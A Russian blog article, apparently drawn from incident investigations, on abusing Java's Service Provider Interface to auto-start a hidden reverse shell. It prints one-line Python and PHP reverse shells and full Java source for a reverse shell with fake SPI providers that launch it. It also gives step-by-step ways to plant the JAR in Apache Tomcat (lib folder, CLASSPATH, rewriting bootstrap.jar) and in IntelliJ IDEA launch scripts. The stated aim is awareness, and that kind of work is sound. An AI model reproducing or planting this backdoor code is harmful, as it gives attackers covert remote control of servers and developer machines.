По итогам расследований нескольких инцидентов с безопасностью, рассказываю что еще из «зубастого и рогатого» бывает на свете. Еще один повод бросить это ваше ИТ и уйти в монастырь.

Вводная
Описанное в статье в этот раз проходит по категории «умеренной дичи», по сравнению с тем что собирают «в дикой природе» более продвинутые коллеги. Тем не менее надеюсь статья даст понимание проблемы и возможно раскроет для некоторых читателей новые векторы атак на их драгоценную инфраструктуру.
Добавлю что приведенный ниже код был упрощен и почищен по сравнению с «боевой версией», описание методов доставки на целевой компьютер в рамках статьи раскрыты не будут, чтобы не выйти за разумные объемы — считайте что он просто материализовался на вашем сервере.
Если интересно, то тут есть описание и этой части истории, как это работало «вживую». Да и в целом тот год выдался веселым в плане уязвимостей и ИБ.
Реверс-шелл
Наверное слышали популярную рекомендацию «не скачивайте все подряд из интернета — поймаете вирус, троян или гепатит С»?
Одним из видов вредоносного ПО, которое вы могли намотать на свою драгоценную систему как раз и был такой реверс-шелл — бекдор, позволяющий скрытое удаленное управление вашим компьютером:
Shell shoveling, in network security, is the act of redirecting the input and output of a shell to a service so that it can be remotely accessed, a remote shell.[1]
Cуть процесса в том чтобы вместо попыток подключиться к вашему компьютеру из сети — что уже не так просто в наше время из‑за редкости «белых IP» и повсеместного NAT, заставить его самостоятельно подключиться к чужому удаленному серверу в интернете.
Где его уже будут ждать нехорошие дяди:
In the shell shoveling process, one of these programs is set to run (perhaps silently or without notifying someone observing the computer) accepting input from a remote system and redirecting output to the same remote system; therefore the operator of the shoveled shell is able to operate the computer as if they were present at the console.[2]
К счастью времена нынче не те, поэтому максимум что вам грозит это автоматические «майнеры крипты» и «шифровальщики-вымогатели», а заморачиваться удаленным управлением вручную вашей домашней Windows никто не будет.
Но если вы работаете в крупной компании — ситуация начинает играть несколько другими красками.
Появляются вполне осязаемые риски промышленного шпионажа, диверсии и просто сказочной тупости — в большой компании обычно «каждой твари по паре» и слабых умом хватает с избытком. Хотя-бы статистически.
Именно поэтому в «живой природе» реверс-шелл чаще всего используется для удаленного скрытого управления чужими корпоративными серверами, а не вашим домашним компьютером.
Вот так выглядит простейший реверс-шелл на Python:
import os; os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')
или на PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Есть реализации на C# под Windows, на чистом Bash и еще куча разных — это очень известная и часто применяемая техника, которая «есть везде, для всего и на всем».
Но сегодня рассказ пойдет об интересной реализации реверс-шелла на Java, поскольку с ней автор имеет дело чаще всего. А еще источником описанных в статье проблем являются большие корпоративные проекты на этой самой Java.
Java и ее особенности
Начнем с того что Java большая:
огромные размеры JDK, огромные клиентские приложения и объемные популярные библиотеки — во всем этом легко затеряться, особенно если специально задаться такой целью.
В Java-мире в порядке вещей запихнуть в приложение несколько разных версий одной и той же библиотеки, раскидав по модулям ради «обратной совместимости».
Нормой являются «паразитные» зависимости, не используемые напрямую из приложения, но указанные в качестве зависимых.
А еще тут есть спецификации, причем запредельного размера, поэтому часто для полного соблюдения спецификации например сервлет‑контейнера, проект с реализацией вынужден имплементировать огромное количество методов, большинство из которых никогда не будет использовано в работе.
Поэтому любое сколь-нибудь крупное приложение на Java представляет собой кладбище «мертвых животных» кода, который присутствует внутри, но никогда не будет использован в рамках обычной логики работы программы.
Если приложение с 10 млн. строк кода и командой разработки в сотню-другую разработчиков на Python или Node.js еще поискать, то для Java такие объемы являются средними. Серой обыденностью.
Помимо размеров, у Java есть еще одна важная особенность:
программы на Java считаются безопасными.
Поэтому концепция автоматического выполнения кода применяется в проектах на Java очень часто — где надо и где не надо, практически по любому поводу.
В других языках и решениях нет настолько развитой системы автоматического сканирования и инициализации классов. Именно из Java так широко распространилась концепция построения всего приложения вокруг IoC‑контейнера, который сам запускает и связывает части системы используя метаданные из аннотаций.
А все это между прочим и есть исполнение кода, того самого запускающего наш реверс‑ шелл.
Посмотрите как все работает при минимальном участии человека:
Технология SPI
С незапамятных времен в Java существует технология Service Provider Interface (SPI):
Service provider interface (SPI) is an API intended to be implemented or extended by a third party. It can be used to enable framework extension and replaceable components.[1][2][3]
Суть ее заключается в автоматическом включении класса с реализацией заранее известного интерфейса при запуске приложения.
«Автоматическом» и «при запуске» тут самое важное, вы правильно поняли.
Вот несколько статей с примерами работы технологии, разной степени детальности, но вещь давно устоявшаяся и широко известная — материалов и примеров по ней очень много.
Нас в первую очередь интересует автоматический запуск, поскольку требует минимальных действий и практически незаметен для администраторов.
Разумеется есть способы это отловить, но механизм загрузки SPI сделан максимально неудобным для задачи «глобального отлова всего», поэтому без подготовки и дополнительных действий (например подключения внешнего Java‑агента) задача становится трудновыполнимой.
Теперь о плохом и печальном для «игроков из другой команды»:
лишь небольшое количество системных SPI-провайдеров активируются при запуске JVM, например таких.
Причем для включения сторонних реализаций системных провайдеров в последних версиях JDK еще нужно обойти новомодную систему модулей, заменившую собой с версии 9 более легкие в использовании для наших коварных целей «endorsed dirs» и Xbootclasspath
.
Которых в новых версиях больше нет.
Поэтому работающего способа такого автозапуска при старте самой JVM и для всех случаев нет — ориентироваться стоит на специфику конкретного приложения, что именно там используется.
Векторы атаки
Все описанное в статье официально не является ни багом ни уязвимостью, это просто «особенность» работы SPI о которой стоит знать.
Особенно если вас заставляют поддерживать проект на Java в качестве DevOps или сисадмина и о программировании вы мало чего знаете.
Ниже приведено четыре типовых сценария автоматической активации нашего тестового реверс-шелла с помощью SPI.
Однако стоит помнить, что в «дикой природе» способов много больше — технология SPI считается стандартом и используется очень широко, поэтому загружаемые с ее помощью классы присутствуют наверное во всех более‑менее крупных и известных проектах на Java.
Вот для примера неожиданный вариант с использованием известной библиотеки H2, где также используется SPI и есть возможность переопределить реализацию.
Все описанные способы (кроме последнего) работают через фейковую реализацию SPI-сервиса, который втихую активируется при запуске.
Исходный код вместе с тестовым проектом был выложен на Github, ниже приведена реализация самого реверс шелла:
package com.Ox08.rshell.sample; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.nio.charset.StandardCharsets; /** PoC простого реверс-шелла */ public class RShell { // мы используем одну копию этого класса на всех private static final RShell INSTANCE = new RShell(); private boolean started; // признак что шелл уже запущен /** запускает реверс-шелл в отдельном потоке */ public static void start() { // блокируем попытки повторного запуска - могут сработать несколько // точек активации а не одна if (INSTANCE.started) { return; } INSTANCE.doStart("127.0.0.1", 9999); } private synchronized void doStart(final String host, final int port) { started = true; // запускаем наш шелл в отдельном фоновом потоке, // чтобы не блокировать работу основного приложения final Thread t = new Thread(() -> { Process p = null; try { // используем системный шелл по-умолчанию final ProcessBuilder pb = new ProcessBuilder("/bin/sh") .redirectErrorStream(true); p = pb.start(); // запускаем процесс // создаем подключение к удаленному серверу // и связываем потоки данных try (Socket s = new Socket(host, port); InputStream pi = p.getInputStream(); OutputStream po = p.getOutputStream(); InputStream si = s.getInputStream(); OutputStream so = s.getOutputStream(); ) { boolean once=true; // до тех пор пока процесс нашего шелла // не убили и сокет не закрыт - перебрасываем данные while (p.isAlive() && !s.isClosed()) { // при старте отправляем на удаленный сервер // наш локальный адрес if (once) { once = false; so.write(("Hi from %s\n".formatted(s.getLocalAddress().getHostAddress())) .getBytes(StandardCharsets.UTF_8)); } // копируем данные из потока процесса в поток сокета while (pi.available() > 0) so.write(pi.read()); // .. из сокета на вход процесса while (si.available() > 0) po.write(si.read()); // очищаем буферы у обоих so.flush(); po.flush(); // искусственная задержка между стадиями чтения, // необходима чтобы не было перегрузки процессора synchronized (this) { try { this.wait(100); } catch (InterruptedException ignored) { } } } } } catch (Exception e) { e.printStackTrace(); } finally { // если сокет закрыли со стороны сервера либо // соединение было разорвано - убиваем процесс шелла if (p != null) { try { p.destroy(); } catch (Exception ignored) { } } } }); t.setDaemon(true); // устанавливаем нашему потоку признак // фоновой обработки t.start(); // запускаем поток } }
Что нужно отметить:
-
Используется статичный экземпляр (один на всех) из-за возможного срабатывания активации сразу из нескольких SPI-провайдеров;
-
Запуск и процесс ввода-вывода работает в отдельном потоке, для того чтобы не мешать работе основного приложения;
-
При разрыве связи либо недоступности удаленного сервера, вся логика работы останавливается — все же это PoC для тестов и демонстрации, не более.
Теперь стоит рассказать о точках активации, которые представляют собой фейковые провайдеры SPI (кроме последней), из которых отправляется команда на запуск нашего реверс шелла:
RShell.start();
Каждая реализация SPI‑провайдера требует наличия специального файла в каталоге META‑INF/services
с указанием на полное имя класса с реализацией.
Формируются данные файлы очень просто, именование описано как в документации так и в примерах, поэтому приводить их еще и в статье не имеет смысла. В готовом виде они выложены в репозитории проекта на Github.
InetAddressResolverProvider
Самый новый вариант на момент написания статьи, поскольку возможность управления со стороны приложения разрешением DNS-имен в Java появилась только с 18й версии:
JEP 418 enhances the currently limited implementation of java.net.InetAddress by developing a service provider interface (SPI) for hostname and address resolution. The SPI allows java.net.InetAddress to use resolvers other than the operating system’s native resolver, which is usually set up to use a combination of a local hosts file and the domain name system (DNS).
Вот так выглядит реализация для активации нашего реверс шелла:
package com.Ox08.rshell.sample.inject.addr; import com.Ox08.rshell.sample.RShell; import java.net.spi.InetAddressResolver; import java.net.spi.InetAddressResolverProvider; public class HijackedAddressResolverProvider extends InetAddressResolverProvider { // тут и далее мы вызываем запуск реверс-шелла сразу из static-блока // активация которого происходит при создании первого инстанса класса static { System.out.println("hijack addr resolver"); RShell.start(); } @Override public InetAddressResolver get(Configuration configuration) { // просто делегируем в системный резолвер return configuration.builtinResolver(); } @Override public String name() { return "Internet Address Resolver Provider"; } }
Для того чтобы этот SPI-провайдер активировался, в коде приложения должен быть запрос на разрешение DNS-имени:
InetAddress.getAllByName("localhost");
Такой вызов как раз происходит при запуске Apache Tomcat, что и позволяет запустить наш реверс шелл.
PreferencesFactory
Следующая реализация интересна тем, что в названии как системного интерфейса так и его пакета нет ключевых слов «provider» или «spi», что позволяет обходить некоторые системы мониторинга, созданные для отслеживания таких «невинных шалостей».
Почему такое ненадежное сканирование вообще работает? Потому что других признаков того что класс является провайдером SPI внезапно нет.
Нет ни системных интерфейсов, от которых надо наследоваться при реализации, ни методов с заданными названиями, ни даже каких-то особых требований по именованию класса с реализацией.
Код для автоматического запуска:
package com.Ox08.rshell.sample.inject.prefs; import com.Ox08.rshell.sample.RShell; import java.util.HashMap; import java.util.Map; import java.util.prefs.AbstractPreferences; import java.util.prefs.Preferences; import java.util.prefs.PreferencesFactory; public class HijackedPreferencesFactory implements PreferencesFactory { static { System.out.println("hijack prefs"); RShell.start(); } // к сожалению методы systemRoot() и userRoot() // не должны возвращать null, а реализация Preferences по-умолчанию // закрыта. Поэтому необходима минимальная реализация. private final Preferences prefs = new InMemoryPreferences(); @Override public Preferences systemRoot() { return prefs; } @Override public Preferences userRoot() { return prefs; } static class InMemoryPreferences extends AbstractPreferences { private final Map<String, String> prefs = new HashMap<>(); protected InMemoryPreferences() { this(null, ""); } protected InMemoryPreferences(AbstractPreferences parent, String name) { super(parent, name); newNode = true; } @Override protected void putSpi(String key, String value) { prefs.put(key, value); } @Override protected String getSpi(String key) { return prefs.get(key); } @Override protected void removeSpi(String key) { prefs.remove(key); } @Override protected String[] keysSpi() { return prefs.keySet().toArray(new String[0]); } @Override protected AbstractPreferences childSpi(String name) { return new InMemoryPreferences(this, name); } @Override protected String[] childrenNamesSpi() { return new String[0]; } @Override protected void removeNodeSpi() { } @Override protected void syncSpi() { } @Override protected void flushSpi() { } } }
Для активации со стороны приложения должен быть вызов API Java Preferences:
Preferences.systemRoot();
Разумеется клиентское ПО с графическим интерфейсом использует Java Preferences куда чаще серверного, так что вариант достаточно редкий.
Но встречается:
для примера, данное API использует «КриптоПро JCP», установка которого на сервер часто происходит с помощью графического конфигуратора, еще и из‑под суперпользователя.
ResourceBundleControlProvider
Наконец последний интересный вариант — фейковый провайдер для управления Resource Bundle, такие файлы с ресурсами приложения, в основном со строками.
Код очень прост:
package com.Ox08.rshell.sample.inject.resources; import com.Ox08.rshell.sample.RShell; import java.util.ResourceBundle; import java.util.spi.ResourceBundleControlProvider; public class HijackedResourceBundleControlProvider implements ResourceBundleControlProvider { static { System.out.println("hijack resource control provider"); RShell.start(); } public ResourceBundle.Control getControl(String baseName) { return null; } }
Чтобы он сработал, со стороны приложения должен быть запрос к какому-либо бандлу с ресурсами:
ResourceBundle.getBundle("SomeAppResources", Locale.getDefault());
Даже если ресурс с таким именем не существует — все равно произойдет загрузка нашего класса.
ResourceBundle
У ресурсных бандлов в Java есть одна интересная особенность: допускается их программная реализация, причем с автоматической загрузкой.
Причем из разных JAR‑файлов и без изменения самих ресурсов (включая подпись) — у программной реализации просто выше приоритет использования чем у файлов с ресурсами.
Ввиду описанного, мне особенно понравился эпилог из официального руководства:
You do not have to restrict yourself to using a single family of ResourceBundles. For example, you could have a set of bundles for exception messages, ExceptionResources (ExceptionResources_fr, ExceptionResources_de, …), and one for widgets, WidgetResource (WidgetResources_fr, WidgetResources_de, …); breaking up the resources however you like.
Действительно не стоит себя ограничивать, при таких-то подходах.
Теперь посмотрим как выглядит та самая программная реализация:
import com.Ox08.rshell.sample.RShell; import java.util.ListResourceBundle; public class Resources extends ListResourceBundle { static { System.out.println("loaded via resource bundle"); RShell.start(); } @Override protected Object[][] getContents() { return resources; } private final Object[][] resources = {}; }
Заметили что нет указания на пакет? Это сделано не по ошибке а намеренно, чтобы упростить вот такой вызов:
ResourceBundle.getBundle("Resources", Locale.getDefault());
И все, этого достаточно для автоматической активации нашего класса.
Зная как называется бандл в приложении, можно легко реализовать программную версию, положить рядом в classpath и она.. загрузится первой.
А вы об этом ничего не узнаете, поскольку такое поведение является штатным и в логах не фиксируется. И отключить его нельзя.
Правда же софт на Java это весело и безопасно?
Демонстрация
Поскольку и клиент и сервер будут запускаться локально на одной и той же машине, вам нужно будет установить утилиту netcat.
Запуск netcat для прослушивания на 9999 порту выглядит так:
netcat -l -p 9999
Прослушиваться будут все локальные интерфейсы, права root не обязательны, достаточно обычного пользователя.
Также необходимо установить Java SDK версии 18 или выше, автор для статьи использовал 19ю:

Все манипуляции по традиции производились на FreeBSD:

Хотя каких-либо заметных отличий от Linux для данной статьи замечено не было.
Apache Tomcat
Нужно добиться, чтобы JAR-файл с нашим реверс шеллом и SPI-активацией в любом виде попал в classpath, используемый томкатом для запуска.
Способов сделать это много, но чтобы не раздувать статью опишу лишь самые тривиальные.
Стоит сразу добавить, что Apache Tomcat (по крайней мере при установке по‑умолчанию) не рассчитан на работу из каталога с атрибутом «только для чтения».
Такая же история и со всеми остальными сервлет-контейнерами и серверами приложений: Jetty, WildFly, Glassfish, Weblogic, Websphere — все требуют наличие прав на запись в собственные каталоги по-умолчанию.
При этом существуют сборки Apache Tomcat в виде пакетов в популярных дистрибутивах Linux и FreeBSD, в которых базовая часть устанавливается в каталог /usr
c доступом на запись только для root
, а пользовательские приложения подкладываются в домашнем каталоге пользователя или в /var
.
Способ 1: Скопировать jar-файл в папку $CATALINA_HOME/lib — вариант который вы видели на видео выше;
Способ 2: Изменить скрипт запуска catalina.sh, закомментировав строку с присвоением и (тем самым) затиранием переменной окружения:
CLASSPATH=
В этом месте:

После такой правки будет работать проброс значения стандартной переменной окружения Java для настройки classpath:
export CLASSPATH=/полный/путь/до/мой/любимый/реверс-шелл.jar ./bin/startup.sh
Способ не самый идеальный, поскольку требует правки скрипта запуска и к сожалению измененный CLASSPATH будет виден при запуске:

Способ 3: Добавить содержимое нашего JAR с реверс-шеллом в одну из системных библиотек Tomcat.
Оказалось библиотеки Apache Tomcat не подписаны цифровой подписью разработчика, поэтому их содержимое можно легко подменить непосредственно на сервере — простой перезаписью файла внутри JAR (который является обычным zip-архивом)
Для проверки я подложил классы реверс-шелла вместе с метаданными в bootstrap.jar, который находится в каталоге $CATALINA_HOME/bin
где вместе со скриптами запуска отвечает за начальную загрузку.
Необходимо скопировать каталог com
, в котором находятся скомпилированные .class файлы:

А также скопировать каталог services
внутрь META-INF
:

После всех изменений (и убрав предыдущий вариант с CLASSPATH), запускаем Tomcat и наблюдаем в файле logs/catalina.out
нашу активацию:

Ну и наконец про сладкое — встраивание нашего реверс-шелла в среду разработки Intellj Idea.
Intellj Idea
Практического смысла в этом разумеется ноль, зато можно постебаться над вашими штатными разработчиками, заставив их немного побегать кругами.
Java ведь безопасная и таких подстав от нее не ждут, тем более сами разработчики.
Автор попробовал пару вариантов с запихиванием реверс-шелла в Idea, но разумеется их куда больше.
Способ первый (и самый скучный)
Мы просто добавляем наш JAR файл в скрипт запуска bin/idea.sh
:

Способ второй
Вместо JAR файла добавляем переменную окружения CLASSPATH:

А дальше также как и в примере с Apache Tomcat выше — прописываем путь к библиотеке с реверс-шеллом в этой глобальной переменной до запуска idea.sh
, вот так:
export CLASSPATH=/full/path/to/my/shiny/reverse-shell.jar ./bin/idea.sh
В отличие от томката, Idea не отображает содержимое CLASSPATH при запуске, поэтому найти левого гостя будет сложнее.
Пару слов про перезапись .jar файлов
К счастью (и сожалению) разработчики в Intellj серьезнее подходят к вопросам безопасности, чем авторы Apache Tomcat, поэтому все библиотеки Idea содержат в себе файл index
с контрольными суммами для каждого элемента:

По этой причине, подменить либо добавить содержимое JAR-файлов методом «в лоб» уже не выйдет — нужно поднимать полноценную сборку и формирование такого файла.
Эпилог
Это еще одна статья про вроде бы обыденные вещи современного ПО, о «темных» сторонах которых почему-то не особо известно широкой публике.
Несмотря на то что автор не является ни «исследователем безопасности» ни ее злостным нарушителем, а просто занимается разработкой и разгребанием чужих говен — даже при таких вводных регулярно приходится иметь дело с результатами недооценки «скрытых возможностей современного ПО».
Напоминаю, что код и все примеры были взяты из реальных инцидентов, после разбора последствий проникновения в инфраструктуру компании и каждый раз было скажем так «глобальное непонимание» как такое вообще возможно и что теперь с этим делать.
Ради просвещения широких масс и появилась данная статья — не про уязвимость или баг, а про сам принцип работы, непонимание которого и приводит к подобным печальным событиям.
Также добавлю, что никакого способа «просто отключить» SPI не существует — т.к. это часть JDK и активно в ней используется.
Ради уменьшения рисков с безопасностью, вроде описанной выше пенетрации мы например переделываем открытое ПО, физически удаляя все места из исходного кода где используется сканирование классов, SPI, JMX, RMI и подобные радости.
Зачищенный таким образом Jetty сейчас работает под нашим сайтом, регулярно огорчая своим существованием различных «кульхацкеров».
P.S.
Это немного облагороженная версия прошлогодней статьи, оригинал которой доступен в нашем блоге.
К сожалению описанное врядли перестанет быть актуальным в обозримом будущем, поэтому повторюсь:
про технологию SPI и возможности автоматического выполнения кода в Java стоит хотя-бы знать
Чтобы последствия не оказались для вас сюрпризом.
ссылка на оригинал статьи https://habr.com/ru/articles/891058/
Добавить комментарий